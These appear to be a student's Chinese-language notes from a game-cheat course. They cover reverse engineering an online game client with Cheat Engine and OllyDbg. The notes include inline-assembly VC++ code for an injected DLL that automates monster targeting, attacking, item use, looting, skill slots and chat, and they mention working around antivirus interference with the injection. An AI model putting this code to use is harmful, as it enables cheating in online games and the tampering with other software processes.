{ //遍歷對象列表 有可能是對象分類 

  _asm

  {      mov eax,i

  mov eax,[eax]

  mov ecx,[eax+8] 

  mov b8,ecx   //取出+8偏移

  mov ecx,[eax+0xc]

  mov bc,ecx   //取出+c偏移

  mov ecx,[eax+0x31c]

  mov b31c,ecx //取出+31c偏移

  mov ecx,[eax+0x380]

  mov b380,ecx //取出+380偏移

  } //end asm

    //+8怪是=2E //+31C<100 //+380==0

  if ((b8==0x2e)&& (b31c<100)&&(b380==0)) 

  { //[5993E80]+1530 =+C

  _asm

  {   mov ecx,0x5993E80

  mov ecx,[ecx]

  mov eax,bc

  mov [ecx+0x1530],eax //[ecx+0x1530]=bc

 

  }//end asm

  //int * selmon;

  //selmon=(int*)0x5993E80;

  //selmon=(int*)(*selmon+0x1530);

  //*selmon=bc;

  return;

  } //end if

} //end for

 

//作業:優化選怪功能 //顯示出怪物血條

 

 

 

 

/////////////////////////////////////////////////

 

前面找到了遍歷怪物的地址,我們要編寫代碼將怪物例顯示出來,首先是要查找偏移地址是否為2E,然后再查找偏移31C的距離是否小於100,當然還要查找偏移380是否為0,如果非0則說明怪物已死亡.然后遍歷的時候再每次下向4個字節,要不斷的遍歷,代碼已經在上面教案中.也就是VC代碼的那部分.寫完代碼之后加載主EXE調用一下試試.注意坐標類型為浮點數,否則會出錯.雖然已經可以選怪了,但是被選中的怪並沒有顯示出血條,下節課再弄.至於匯編的選怪代碼已經在教案中例出,課后自己學習.

  2.4.4、選怪功能優化

             a、OD分析選怪功能對應代碼

             b、寫測試代碼讓選定怪物血條正確顯示

             c、集成選怪函數到SelMon()

參考 2-4-2

dd [5993E80]+1530 //寫入 怪在對象列表的 數組下標

dd [0d66*4+0599a110] //對象基址

//顯示血條,設置怪選中狀態

void SelMon() //選怪功能

{// TODO: Add your control notification handler code here

//遍歷 [i*4+0599a110] 數組

//+8 :有可能是對象分類 怪是2E 

//+C :數組下標

//+31C:到當前玩家距離

//+380:怪死亡 <>0

_asm

{

mov eax,eax

mov eax,eax

}

int* b8,*bc,*b380,*p1530;

float *b31c;

int* pb,*p2;

for (int i=0x0599a110;i<(0x0599a110+0x0FFF*4);i+=4)//每次增加4字節

{ pb=(int*)i;

  b8=(int*)(*pb+0x8);

  bc=(int*)(*pb+0xc);

  b31c=(float*)(*pb+0x31c);//

  b380=(int*)(*pb+0x380);

//if (([ecx+8]==0x2E )&&([ecx++0x31C]<=100)&&([ecx+380]==0))

  p1530=(int*)0x5993E80;

 p1530=(int*)(*p1530+0x1530);

if ((*b8==0x2E )&&(*b31c<=100)&&(*b380==0))

{

//選怪[[0x5993E80]+1530 ]=*bc;優化改進 顯示怪血條

p2=pb;

 

//顯示血條,設置怪選中狀態

//selmonbase怪對象基址

int selmonbase=*p2;

if (*p1530==0xFFFF) {

_asm

{

 mov edi,selmonbase

 mov eax,[edi]

 push 0

 push 1

 push 0x44c

 mov ecx,edi

 mov eax,[eax+4]

 call eax  

} //end if 

 p1530=(int*)0x5993E80;

 p1530=(int*)(*p1530+0x1530);

    *p1530=*bc;//寫入下標

 

return ;

 //

} // end if

}//end for

}

 

 

///////////////////////////////////////////////////////////

 

繼續上節課進行選怪功能的優化,先用OD附加游戲進行分析,因為在未選中怪的時候dd [5993E80]+1530標識是0000FFFF,那么我們在這里下內存寫入斷點,來到了選怪函數,向上找發現一個CALL比較像

 

 

 

然后就將上面的匯編代碼照着寫了出來,已貼在教案中.注意在VC++內聯匯編中,如果是mov edx,[XXX] 那么程序會自動將[]去掉,變成 mov edx,xxxx  所以要這樣寫

 mov edx,xxxx 

 mov edx,[edx]

這樣我們來選中怪后被選中的怪就會顯示出血條,但是再繼續選下一個怪時游戲又出錯了,再改了一下代碼,但是選中多次之后又出錯,再繼續修改了一下代碼.測試好后將選怪的代碼放到GameProc.h頭文件里,方便以后調用.

 

隨筆:寫代碼要經過多次的測試,一個小掛都是需要很長時間的各方面測試才能成熟,

 

   2.5.1、普通攻擊CALL關鍵代碼分析

             a、更新游戲選怪基址

             b、分析攻擊CALL關鍵代碼

             c、匯編指令與應高級語言對照翻譯

 

[59Ec688]+1530 //當前選中怪ID//對象數組下標

               //寫入怪下標

         =0000FFFF 時未選中怪

         =對象數組下標

[i*4+59E6748] //0599a110對象數組基址 OK

 +C: 在對象數組中下標值

 

 

//打怪后訪問 怪ID的 代碼地址

44f625/45ed58/45edbe/

//44f625//45ed58//45edbe

//打怪CALL

 mov ecx,[59EC688]

CALL 0045ED40

 

代碼注入器測試代碼 

//先選中怪物

mov ecx, 59Ec688

mov ecx,[ecx]

call  0045ED40

 

/////////////////////////////////////////////////////////////////////////////

 

游戲更新了,所以再次查找基址.首先還是打開CE,因為我們知道在游戲當中如果沒有選中怪則是0000FFFF,選中了會變化,所以我們就按照這樣的方法搜索幾次就找到了,再查找一次地址訪問就找到了新的基地和地址了.

當我們按下攻擊按鈕的時候,發現了幾個新的地址,在0044F625這里向上和下看,經過幾次分析,發現了一個可能CALL, 也就是call 00460430,但是經過測試之后卻不是,向上看函數的頭部有許多的參數,所以又返回上一層,call 0045ED40 發現這里是對的.

  2.5.2、掛機打怪功能

             1、更新選怪CALL地址

             2、優化代碼結構

             3、自動選怪代碼編寫

             4、自動打怪代碼編寫

             5、代碼測試

 

參考 2.5.1

 

[59Ec688]+1530 //當前選中怪ID//對象數組下標

               //寫入怪下標

         =0000FFFF 時未選中怪

         =對象數組下標

[i*4+59E6748] //0599a110對象數組基址 OK

curRoleBase=0x59Ec688//當前角色基址

curListBase=0x59E6748//當前對象列表基址

1、更新選怪CALL地址

  寫入 [59Ec688]+1530 

hw [59Ec688]+1530 //hw OD硬件斷點

 

代碼注入器測試代碼 

//先選中怪物

mov ecx, 59Ec688

mov ecx,[ecx]

call  0045ED40

 

VOID CALLBACK TimerProc(

  HWND hwnd,     // handle of window for timer messages

  UINT uMsg,     // WM_TIMER message

  UINT idEvent,  // timer identifier

  DWORD dwTime   // current system time

);

 

 

///////////////////////////////////////////

 

再重新找一次地址,為了方便寫代碼,我們將角色基址和對象列表地址定義兩個常量值, 用OD加載游戲,下硬件斷點hw [59ec688]+1530,找到游戲中的地址后,打開前面的代碼,將定義的常量替換原來的地址,在GameDll.cpp中具體代碼如下:

 

/********************郁金香灬老師*****************

*********************QQ:150330575****************/

void SelMon(); //選怪功能

void BeatMon();//打怪功能

//#define 這樣定義是直接將數值寫入程序,是個命令宏,如果用int來定義可以取地址

#define  CurRoleBase 0x59Ec688  //當前角色基址

#define  CurListBase 0x59E6748 //當前對象列表基址

#define BeatMonCall  0x0045ED40  //普攻打怪CALL

////////////////Timer ID ////////////////

#define TimerSel_ID  116//自動打怪的時間控制定義1

#define TimerBeat_ID 118//自動打怪的時間控制定義2

 

void SelMon() //選怪功能

{ // TODO: Add your control notification handler code here

//遍歷 [i*4+CurListBase] 數組

//+8 :有可能是對象分類 怪是2E 

//+C :數組下標

//+31C:到當前玩家距離

//+380:怪死亡 <>0

_asm//放一個特征碼便於查找

{

mov eax,eax

mov eax,eax

}

int* b8,*bc,*b380,*p1530;//定義偏移的變量

float *b31c;//浮點坐標

int* pb,*p2;

//遍歷周圍的怪

for (int i=CurListBase;i<(CurListBase+0x0FFF*4);i+=4)//每次增加4字節

{ pb=(int*)i;

  b8=(int*)(*pb+0x8);

  bc=(int*)(*pb+0xc);

  b31c=(float*)(*pb+0x31c);

  b380=(int*)(*pb+0x380);

//if (([ecx+8]==0x2E )&&([ecx++0x31C]<=100)&&([ecx+380]==0))

   p1530=(int*)CurRoleBase;

  p1530=(int*)(*p1530+0x1530);

if ((*b8==0x2E )&&(*b31c<=100)&&(*b380==0))

{

//選怪[[CurRoleBase]+1530 ]=*bc;優化改進 顯示怪血條

p2=pb;

 

//顯示血條,設置怪選中狀態

//selmonbase怪對象基址

int selmonbase=*p2;

if (*p1530==0xFFFF) {

_asm

{

 mov edi,selmonbase

 mov eax,[edi]

 push 0

 push 1

 push 0x44c

 mov ecx,edi

 mov eax,[eax+4]

 call eax  

} //end if 

  p1530=(int*)CurRoleBase;

  p1530=(int*)(*p1530+0x1530);

    *p1530=*bc;//寫入下標

return ;

} // end if

}//end for

}

 

//普攻打怪,上節課找出的打怪代碼

void BeatMon()

{

_asm

{

mov ecx,CurRoleBase

mov ecx,[ecx]

mov eax,BeatMonCall

call eax 

}

}

 

然后還需要添加一個定時器,在WGForm.cpp中添加代碼,時間函數的定義在上面

 

void CWGForm::OnChkAutoselmon() 

{

UpdateData(true);

if (m_bautoselmon){

SetTimer(TimerSel_ID,2000,&AutoSel);//每2秒自動執行一次

} else {KillTimer(TimerSel_ID);}

}

 

void CWGForm::OnChkAutobeatmon() 

{

UpdateData(true);

if (m_bautobeatmon)

{

SetTimer(TimerBeat_ID,1500,&AutoBeat);//每1.5秒執行一次

} else

{KillTimer(TimerBeat_ID);}

}

 

 

這樣就形成了一個完整的選怪打怪命令.

 

隨筆:現在的小掛已經具有最初級的功能,可以讓人物自動打怪,記的以前有的一些免費掛就這樣一個功能,就會受到很多網友的歡迎了,畢竟每個怪都用鼠標或鍵盤來打的話實在是太累人了.

  

  2.5.3、物品背包數組基址+偏移分析(CE+OD)

             a、確定突破口

             b、回溯基址

             c、用OD驗證

             d、推導出基址+偏移公式

 

CE查找 物品數量 222

 [45B3AAC]=[059E7024]=0d80F548

物品背包數組(基址0d80F548)(0):

 +4 物品對象(1)

 +8 物品對象(2)+0*4+3d8(相對基址271e1750):

  +??

  +4a0 物品數量:int偏移271E1BF0

  +?? 物品名稱:char *

  +?? 功能說明:char *

006799E1:mov ecx,[edx+eax*4]

00576E15:mov eax,[edi+esi*4+3d8]

00577121:mov ecx,[edi+esi*4+3d8]

 

一級基址:[45B3AAC]=[059E7024]=0d80f548

+i*4+3d8

  +4a0

dd [[059E7024]+i*4+3d8] //數組[i] dc  [[45B3AAC]+6*4+3d8]+58

 +58  //物品名字 char *

 +4a0 //物品數量

 

//////////////////////////////////////////////

 

找背包,一般是從物品數量為突破口,因為數量為一個很精確的值,這樣找起來很方便,找到數量后也可以順着找出物品的其它屬性.用CE找金創葯數量,吃下再找就出來了.下內存訪問查找基址,發現上級偏移是271E2F18,在CE里搜索這個16進制數,發現了一個綠色基址,但感覺不對,我們找另外的兩個地址,用CE查找訪問,需要找的是帶有數組的匯編代碼:006799e1 mov ecx,[edx+eax*4].一不小心游戲出錯了,用CE再來查找一次. 

 

 

再向上就找到了基址

 

 

 

一級基址:[45B3AAC]=[059E7024]=0d80f548

這個公式就是dd [[059E7024]+i*4+3d8]

打開OD來到這個地址處,找到了其它的偏移信息

 

+58  //物品名字

+4a0 //物品數量

 

最后將特征碼復制出來以方便下次查找

背包數組 esi為下標

LEA EAX,DWORD PTR DS:[ESI+ESI*8]

LEA EDX,DWORD PTR DS:[EBX+ESI*4+3D8]

PUSH EDI

MOV DWORD PTR SS:[EBP+8],EDX

LEA ECX,DWORD PTR DS:[EBX+EAX*4+5B4]

MOV DWORD PTR SS:[EBP-14],ECX

MOV EDX,DWORD PTR SS:[EBP+8]

MOV ESI,DWORD PTR DS:[EDX]

TEST ESI,ESI

 

  2.5.4 、使用指定物品 UseGoods(int index=0);

              a、算法原理

              b、返回物品在背包中的下標 int GetGoodsIndex(char* name);

              c、useGoods(GetGoodsIndex("金創葯(小)");

參考 2.2.2 來更新 物品使用CALL 

  005e47a4:

MOV EDX,DWORD PTR DS:[EAX+208]

PUSH EDX  //物品背包下標

PUSH 1

PUSH 0

CALL 0057FF10

參考 2.5.3 來更新 背包數組基址

dd [45BA62C]+0*4+3d8

  +58  //物品名字 char *

  +4a0 //物品數量

8. int memcmp(const void *s1, const void *s2, size_t n)

功能 : 對內存中兩個字符串進行大小寫敏感的比較;

返回值 : s1 == s2 return 0

          s1 >   s2 return 1

          s1 <   s2 return -1

 

原理

 

///////////函數實現部分

const int GoodsBase=0x45BA62C;

int GetGoodsIndex(const char* name)//獲取物品下標

{

 char * CurGoodName;

 int iaddr;

 for (int i=0;i<35;i++) // 0..34

{

 iaddr=i*4;

 _asm

 {

     mov ecx,GoodsBase;

     mov ecx,[ecx] //mov ecx,[0x45BA62C]

 add ecx,iaddr // ecx,[0x45BA62C]+i*4

 add ecx,0x3d8 // ecx,[0x45BA62C]+i*4+3d8

 mov ecx,[ecx] // ecx,[[0x45BA62C]+i*4+3d8]

 mov iaddr,ecx //物品對象iaddr=[[0x45BA62C]+i*4+3d8]

 } 

 if (iaddr>0)

 _asm

 {

 mov ecx,iaddr // ecx=[[0x45BA62C]+i*4+3d8]

 add ecx,0x58  // ecx =[[0x45BA62C]+i*4+3d8]+58

 mov CurGoodName,ecx //CurGoodName=[[0x45BA62C]+i*4+3d8]+58

    

 }

if (memcmp(name,CurGoodName,strlen(name))==0) return i;

} //end for

return 0;//遍歷背包 未找到指定物品

}//end GetGoodsIndex;

 

const int UseGoodsCallBase=0x0057FF10

void UseGoods(const int index)

{

_asm

{

PUSH index  //物品背包下標

PUSH 1

PUSH 0

mov edx,UseGoodsCallBase

CALL edx// 

}

}

 

 

 

/////////////////////////////////////////////

 

先測試一下使用物品CALL,然后編寫代碼遍歷背包通過物品名稱來識別物品,先寫匯編代碼讀出物品對象,然后再通過對象找出物品名稱

 

int GetGoodsIndex(const char* name)//獲取物品下標

{

 char * CurGoodName;//物品名稱

 int iaddr;//格子

 for (int i=0;i<35;i++) // 0..34一共35個背包格子

{

 iaddr=i*4;//格子向下偏移

 _asm

 {//取得物品對象

     mov ecx,GoodsBase;

     mov ecx,[ecx] //mov ecx,[0x45BA62C]

 add ecx,iaddr // ecx,[0x45BA62C]+i*4

 add ecx,0x3d8 // ecx,[0x45BA62C]+i*4+3d8

 mov ecx,[ecx] // ecx,[[0x45BA62C]+i*4+3d8]

 mov iaddr,ecx //物品對象iaddr=[[0x45BA62C]+i*4+3d8]

 } 

 if (iaddr>0)

 _asm

 {      //取得物品名稱

 mov ecx,iaddr // ecx=[[0x45BA62C]+i*4+3d8]

 add ecx,0x58  // ecx =[[0x45BA62C]+i*4+3d8]+58

 mov CurGoodName,ecx //CurGoodName=[[0x45BA62C]+i*4+3d8]+58

    

 }

if (memcmp(name,CurGoodName,strlen(name))==0) return i;//如果找到物品則真

} //end for

return 0;//未找到物品則假

 

 

找到了物品之后還需要使用物品功能

 

 

const int UseGoodsCallBase=0x0057FF10;//物品使用CALL 基址

 

void UseGoods(const int index)

{

_asm

{

PUSH index  //物品背包下標

PUSH 1

PUSH 0

mov edx,UseGoodsCallBase

CALL edx

}

 

 

使用時是這樣調用的

 

 

void CWGForm::OnBUTTONusegoods() 

{

UseGoods(GetGoodsIndex("人參"));

}

 

 

tabCtrl關聯控件變量:

m_tabmain

 

 #include "Page_safe.h"

#include "Pag_GJ.h"

#include "Page_TESTCALL.h"

 

CPAG_GJ page_gj;

CPAGE_SAFE page_safe;

CPAGE_TESTCALL page_testcall;

 

 

 

     m_tab.InsertItem(0,"AAA");

m_tab.InsertItem(1,"BBB");

p1.Create(IDD_PAG1,GetDlgItem(IDC_TAB1));

p2.Create(IDD_PAG2,GetDlgItem(IDC_TAB1));

 switch(m_tab.GetCurSel())

{

case 0:

{

p1.ShowWindow(true);

p2.ShowWindow(false);

             break;

}

case 1:

{

p1.ShowWindow(false);

p2.ShowWindow(true);

             break;

}

default:

         {

          break;

         }

}

 

///////////////////////////////////////////////////

 

在DELPHI中增加控件編寫程序是很容易的,但是在VC中控件就少很多不太容易,所以本節就是講了VC中控件的應用.我們新建了TabCtrl控件,並新m_maintab變量,用於設置TabCtrl控件

m_tabmain.InsertItem(1,"CALL測試");

m_tabmain.InsertItem(2,"掛機");

m_tabmain.InsertItem(3,"保護");

m_tabmain.InsertItem(5,"測試5");

這樣設置好之后就會出現TabCtrl的選項了

 

這樣標簽已經上去了,但是里面的按鈕怎么放上去呢?這時我們就要插入資源,然后選擇Dialog對話框,選擇一個比較大的頁面(第5個),有幾個標簽就插入幾個資源.但是這樣也不能添入到各個標簽中,還需要新創建一個類,創建完類之后還要定義頭文件……

這些代碼我實在是搞不懂了……

這節課筆記都不太好記了,因為老師也出錯了好幾次…

然后又寫了一個結構

switch(m_tab.GetCurSel())

……

就這樣的一個簡單的功能,竟然要編寫這么多代碼和設置

 

 

我承認這節課我的筆記記的很不好,但是太不好記了,我已經盡力了.

2.5.6、TabCtrl控件BUG修證(VC++基礎好的可跳過)

           a、修證亂碼

           b、修證對齊

           c、局部美化(位置大小調整)

//刪掉有亂碼的窗口資源

GetCurSel()

 

//////////////////////////////

 

繼續上節課,修改了幾個顯示錯誤的TAB控件,在代碼里分別設置5個頁面,在許多地方添加了許多代碼之后,終於做好了這個TAB控件,目地就是每次單擊Tab控件的時候,就通過GetCurSel函數來設置面板上的各個頁面來顯示控件.經過多次的調整最終效果如下:

 

2.5.7、撿物功能分析實現

         a、撿物功能CALL分析

         b、撿物CALL參數分析

         c、測試及封裝到pickgoods()函數

參考2.5.1 更新普通攻擊CALL 地址為:004603C0

  找撿物CALL 思路:

第一種:1、先找F1-F10技能欄數組(DWORD)(4字節)

       2、把撿物動作放到F10上(其它的快捷欄也可以)

       3、對F10技能欄下內存訪問斷點(因為在按下F10技能欄時,游戲本身會去訪問它,以讀出相應欄究竟是放的,物品/技能/動作)

       4、斷下來的地址,其它之一肯定就是撿物CALL附近的地址,通過分析一般能找出撿物CALL(參考2.5.1)

第二種:通過普攻CALL來回溯分析

       1、因為普攻 和撿物 屬於同一類的 動作 大部分程序員會把它放在一個大的CASE里邊

 

        如:switch(動作號)

//前面下斷

        { case 普攻ID:{調用普攻CALL}

          case 撿物ID:{相應CALL功能}

          case 打坐ID:{相應CALL功能}

          case 走跑ID:{相應CALL功能}

          case 逃脫ID:{相應CALL功能}

          case 組隊ID:{相應CALL功能}

          case 交易ID:{相應CALL功能}

 

          //.........

          default:

        }

訪問 選中怪ID

打怪CALL 上級CALL

//普攻

mov ecx,59F3238//當前角色基址

mov ecx,[ecx]

CALL 0045ECE0

 

///撿物

mov ecx,59F3238//當前角色基址

mov ecx,[ecx]

CALL 0045EEE0

//打坐功能

CALL 005E37C0

 

/////////////////////////////////////////////

 

撿物有兩種思路,首先是通過技能攔,所以我們要查找技能攔數組,因為我們之前已經找到技能攔的調用了,所以我們找第二種方法,就是直接調用撿物功能.

因為在游戲中各種動作都是一個分支語句,那么我們就先用OD附加游戲,來到普通攻擊地址004603c0(以前找到的),那么我們再來到該CALL的上級看一下,就找到了一堆CASE語句了,那么我們一下子就將這里面這幾個動作都找到了,然后經過測試也證實了我們的猜想.

 

 

 

代碼分析完后,我們打開VC編寫代碼來調用這幾個功能CALL.

void PickGoods()//撿物功能

{

_asm

{

mov ecx,CurRoleBase //當前角色基址

mov ecx,[ecx]

mov eax,PickGoodsCall

call eax 

}

}

 

修改了多處錯誤,又發現360在干擾我們的DLL注入,最終調用成功.

2.5.8:F1-F10技能數組分析

 

         a、F1-F10技能欄數組(基址+偏移)

         b、F1-F10功能調用核心代碼分析

 

1、打開游戲

 DWORD F1_F10;//10*4字節 //00FF1,00ff2,00ff3

 5*4字節為0

2、移動一個物品對象(技能對象) 到F1技能欄

 數值>0

3、移出物品對象。

數值=0  掃描類型(精確數值=0)

4、移動人物

 走上幾部 ,其它數據發生變化,但F1=0

5、再次移動物品對象至F1欄上

數值>0 掃描類型(大於)

6、掃描 未更新的數值

7、移出物品對象 

掃描 精確數值0

8、查找訪問該地址的代碼:

 0057a14c/0057a2b6/0057a500/005e271d/005e2737/0057fd44/

 mov eax,[edi+esi*4+3d8]

[edi+3d8+esi*4] //esi下標

//edi+3d8 數組基址

 

005e271d

mov ecx,[ecx+ebx*4+3d8]

ecx=[45BC28C]

 

dd [[45BC28C]+0*4+3d8] //顯示F1對象

dd [45BC28C]+0*4+3d8   //顯示F1-F10對象數組

/////////////////////////////

F1-F10關鍵 核心代碼地址

005E462c/005e46b8

 

 

 

 

////////////////////////////////////////////

 

這節課要找的是游戲中的技能攔數組,在技能攔上如果有技能則是非0的值,沒有技能應該是0, 這樣在CE里搜索,如果搜索到的數值非常多,那么就在游戲里移動一下,多次之后就找到了幾個地址,首先看一下第一個地址

 

 

 

發現還有其它地址也像,又搜索了一個

 

 

 

然后用OD附加游戲,在各個地址間查看,挑一下看哪個地址比較好找些.005e2717這個好.

 

 

 

最終找到的就是這個值,詳細記錄都在上面教案中

dd [[45BC28C]+0*4+3d8] //顯示F1對象

dd [45BC28C]+0*4+3d8   //顯示F1-F10對象數組

 

  2.5.9、F1-F10功能CALL

         a、找出真的功能CALL

         b、F1-F10功能CALL參數分析

         c、F1-F10功能CALL測試(集成功能至GameProc.h)       

參考2.5.8

dd [[45BC28C]+0*4+3d8] //顯示F1對象

dd [45BC28C]+0*4+3d8   //顯示F1-F10對象數組

/////////////////////////////

F1-F10關鍵 核心代碼地址

005E462c/005e46b8

 

void F1_F10( int index=1)

 { index=index-1;

_asm

{

 mov ecx,[0x144c590]

 push index

 mov ecx,[ecx+0x23c]

 mov eax,0x005e4610 //eax,ebx,edx,edi,esi

 call eax   

} //end asm

}

              

//////////////////////////////////////////////////////  

 

上節課找出了技能CALL,本節課是要編寫代碼來調用.上節課我們找到的CALL后,返回上級調用,就發現了一堆的CASE.

 

 

 

這里的基址很好找了.但是這個是鼠標的CALL,鍵盤是另外一個CALL,這里的基址就相對難了一些,慢慢向上找,返回上一級CALL繼續找,想找出來比較復雜

 

下面是老師記錄的匯編代碼段,也可以查找特征碼方便以后更新.

 

0057FF6E  |. /74 31         JE SHORT Client.0057FFA1

0057FF70  |. |83F8 0B       CMP EAX,0B

0057FF73  |. |0F85 AA200000 JNZ Client.00582023

0057FF79  |. |8B0D 90C54401 MOV ECX,DWORD PTR DS:[144C590]           ;  Case B of switch 0057FF67

0057FF7F  |. |8B45 10       MOV EAX,DWORD PTR SS:[EBP+10]

0057FF82  |. |50            PUSH EAX

0057FF83  |. |8B89 4C020000 MOV ECX,DWORD PTR DS:[ECX+24C]

0057FF89  |. |E8 124C0900   CALL Client.00614BA0

0057FF8E  |. |8B4D F4       MOV ECX,DWORD PTR SS:[EBP-C]

0057FF91  |. |64:890D 00000>MOV DWORD PTR FS:[0],ECX

0057FF98  |. |5F            POP EDI

0057FF99  |. |5E            POP ESI

0057FF9A  |. |5B            POP EBX

0057FF9B  |. |8BE5          MOV ESP,EBP

0057FF9D  |. |5D            POP EBP

0057FF9E  |. |C2 0C00       RETN 0C

0057FFA1  |> \8B45 10       MOV EAX,DWORD PTR SS:[EBP+10]            ;  Case 4 of switch 0057FF67

0057FFA4  |.  8B9481 D80300>MOV EDX,DWORD PTR DS:[ECX+EAX*4+3D8]

0057FFAB  |.  85D2          TEST EDX,EDX

0057FFAD  |.  0F84 70200000 JE Client.00582023

0057FFB3  |.  8B15 90C54401 MOV EDX,DWORD PTR DS:[144C590]           ;  0

0057FFB9  |.  50            PUSH EAX                                 ;  數組下標0..9

0057FFBA  |.  8B8A 3C020000 MOV ECX,DWORD PTR DS:[EDX+23C]           ;  ecx=[[144c590]+23c]

0057FFC0  |.  E8 4B460600   CALL Client.005E4610                     ;  F1-F10 鼠標

0057FFC5  |.  8B4D F4       MOV ECX,DWORD PTR SS:[EBP-C]

0057FFC8  |.  64:890D 00000>MOV DWORD PTR FS:[0],ECX

0057FFCF  |.  5F            POP EDI

0057FFD0  |.  5E            POP ESI

0057FFD1  |.  5B            POP EBX

0057FFD2  |.  8BE5          MOV ESP,EBP

0057FFD4  |.  5D            POP EBP

0057FFD5  |.  C2 0C00       RETN 0C

0057FFD8  |>  83FA 01       CMP EDX,1                                ;  Switch (cases 0..59)

0057FFDB  |.  75 23         JNZ SHORT Client.00580000

0057FFDD  |.  A1 90C54401   MOV EAX,DWORD PTR DS:[144C590]           ;  Case 1 of switch 0057FFD8

0057FFE2  |.  8B88 18030000 MOV ECX,DWORD PTR DS:[EAX+318]

0057FFE8  |.  E8 D3E80600   CALL Client.005EE8C0

0057FFED  |.  8B48 40       MOV ECX,DWORD PTR DS:[EAX+40]

 

關於特征碼,主要是記錄一些匯編命令,不要記錄CALL地址一類的數據,因為這類地址會隨着游戲的更新而變化.

 

然后編寫代碼在VC里調用,代碼已經在教案中.最后在游戲中測試一下,OK了……

 

 

[中級篇總結]:課程中分兩部分,一個是反匯編游戲找CALL,另一部分是編寫VC代碼,找游戲我感覺還是比較熟悉的,但是VC代碼實在是不好弄,尤其MFC的用法比DELPHI的控件難多了,要不是為了以后學驅動的時候打點基礎,我還真是不想學VC了.

3.1.1、喊話功能    

      a、找喊話內容地址

      b、分析出關鍵CALL

      c、測試關鍵CALL  

喊話內容地址:

 掃描類型

喊話內容地址:065EF354:字串

 

按下回車后:

0055bd8f,0055bd9d,0055bdfa,0055bd91,0055bda0,0055bda7

005ae1b0:lea edi,[edx+13c]

 

往上找上層CALL

代碼注入器代碼

mov esi,0DA38FD8

mov edx,[esi]

push 0d

push 0d

push 3ed

mov ecx,esi

call [edx+4]

 

/////////////////////////////////////////////////////////////////////////

 

學到進階篇了,內容以找CALL為主.本節課是要找喊話的內容,我們的突破點是先在聊天窗口輸入一段文字,在CE里掃描這段喊話內容,類型是文本型.經過幾次搜索,發現了兩個地址,其中一個是顯示的內容,一個是真正喊話的內容.我們來查找一下訪問.

先來到 005aF1B0 lea,dword ptr[edx+13c] 這里,按下回車就被斷下來了,為了找到關鍵CALL,我們再來下bp WSASend  ,如果先在SEND處被斷下來,那么就說明我們找過了,再向前找找其它的地址.

那么我們再來找0055BD8f這個地址,這里是在發送封包的前面,也就是我們需要查找的地址

 

 

 

我們在CE里寫好文字,按照匯編代碼在注入器里測試一下,哎沒反映,又找一下其它的地址,但是還是不太像…又換了另外一個地址005AE19E,還是不行,返回上一層,又回到最開始的地址,再測試一下終於實現了喊話的功能.

 

下面是本節課的記錄內容:

 

ASCII "1111aaaaaaaaaaaaa"

00435CF1  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]

00435CF3  |.  8B0D 34F14401 MOV ECX,DWORD PTR DS:[144F134]

00435CF9  |.  AA            STOS BYTE PTR ES:[EDI]

00435CFA  |.  8991 10020000 MOV DWORD PTR DS:[ECX+210],EDX

00435D00  |.  A1 34F14401   MOV EAX,DWORD PTR DS:[144F134]

00435D05  |.  8990 0C020000 MOV DWORD PTR DS:[EAX+20C],EDX

00435D0B  |.  8B0D 34F14401 MOV ECX,DWORD PTR DS:[144F134]

00435D11  |.  8991 14020000 MOV DWORD PTR DS:[ECX+214],EDX

00435D17  |.  A1 34F14401   MOV EAX,DWORD PTR DS:[144F134]

00435D1C  |.  8990 18020000 MOV DWORD PTR DS:[EAX+218],EDX

00435D22  |.  8B0D 34F14401 MOV ECX,DWORD PTR DS:[144F134]

00435D28  |.  8991 1C030000 MOV DWORD PTR DS:[ECX+31C],EDX

00435D2E  |.  A1 34F14401   MOV EAX,DWORD PTR DS:[144F134]

00435D33  |.  8990 08020000 MOV DWORD PTR DS:[EAX+208],EDX

00435D39  |.  8B0D 90044701 MOV ECX,DWORD PTR DS:[1470490]

00435D3F  |>  8B76 48       MOV ESI,DWORD PTR DS:[ESI+48]

00435D42  |.  8B7D 10       MOV EDI,DWORD PTR SS:[EBP+10]

00435D45  |.  8B5D 0C       MOV EBX,DWORD PTR SS:[EBP+C]

00435D48  |.  3BF2          CMP ESI,EDX

00435D4A  |.  74 16         JE SHORT Client.00435D62

00435D4C  |.  8B16          MOV EDX,DWORD PTR DS:[ESI]               ;  esi=[5A11200+127*4]

00435D4E  |.  57            PUSH EDI                                 ;  0d=13=回車鍵

00435D4F  |.  53            PUSH EBX                                 ;  0d=13=回車鍵

00435D50  |.  68 ED030000   PUSH 3ED

00435D55  |.  8BCE          MOV ECX,ESI                              ;  [5A11200+127*4]

00435D57  |.  FF52 04       CALL DWORD PTR DS:[EDX+4]                ;  [[[5A11200+127*4]] +4]

00435D5A  |.  8B0D 90044701 MOV ECX,DWORD PTR DS:[1470490]

 

 

 

 3.1.2、喊話功能VC++實現

      a、分析喊話CALL參數基址+偏移 

      b、V++代碼實現

 

 Esi=0x5A1169C; 

 ECX=0x5A1169C;

 

 lea 指令

取地址指令:

mov eax,[144F134]

如:lea edi,[eax+13c] 相當於 edi=eax+0x13c;

repne scas定位[edi]指向字串,al里邊值,計數在ECX里邊 (not ECX)-1

 

dc [144F134]+13c //dc 以ASCII的形式來顯示內存數據

           MOV EDX,DWORD PTR DS:[ESI]               ;  esi=[5A11200+127*4]

00435D4E  |.  57            PUSH EDI                                 ;  0d=13=回車鍵

00435D4F  |.  53            PUSH EBX                                 ;  0d=13=回車鍵

00435D50  |.  68 ED030000   PUSH 3ED

00435D55  |.  8BCE          MOV ECX,ESI                              ;  [5A11200+127*4]

00435D57  |.  FF52 04       CALL DWORD PTR DS:[EDX+4]                ;  [[[5A11200+127*4]] +4]

00435D5A  |.  8B0D 90044701 MOV ECX,DWORD PTR DS:[1470490]

 

 //喊話CALL

void talk(const char* text)//text="1234"

{

 _asm

{ mov al,al

  mov al,al

}

  char *s;//[144F134]+13c; 

  int *p;

  p=(int*)(0x144F134);

  s=(char*)(*p+0x13c);

  memcpy(s,text,strlen(text));

  _asm

{mov esi,0x5A1169C

 mov esi,[esi]  

 mov edx,[esi]

 push 0x0d

 push 0x0d

 push 0x3ed

 mov ecx,esi

 call [edx+4]

}

 

}

 

 

 

////////////////////////////////////////

 

